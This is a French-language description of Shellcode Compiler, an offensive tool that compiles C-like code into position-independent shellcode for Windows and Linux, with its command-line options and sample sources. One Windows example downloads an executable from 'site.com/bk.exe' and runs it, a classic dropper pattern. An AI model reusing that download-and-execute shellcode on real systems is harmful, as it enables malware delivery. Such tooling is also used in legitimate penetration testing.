
Compilateur de Shellcode
Shellcode Compiler est un programme qui compile du code de style C/C++ en un shellcode petit, indépendant de la position et sans NULL pour Windows (x86 et x64) et Linux (x86 et x64). Il est possible d'appeler n'importe quelle fonction API Windows ou syscall Linux de manière conviviale.
Shellcode Compiler prend en entrée un fichier source et utilise son propre compilateur pour interpréter le code et générer un fichier assembleur qui est assemblé avec le moteur Keystone.
-h (--help) : Afficher ce message d'aide
-p (--platform) : Plateforme du shellcode : win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Afficher les détails de la sortie
-t (--test) : Tester (exécuter) le shellcode généré
-r (--read) : Lire le fichier source
-o (--output) : Fichier de sortie du shellcode binaire généré
-a (--assembbly) : Fichier de sortie du code assembleur généré
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
De nombreuses autres limitations existent également. Ceci est une version Alpha. Veuillez signaler tout bug ou suggestion.
Ionut Popescu (@NytroRST)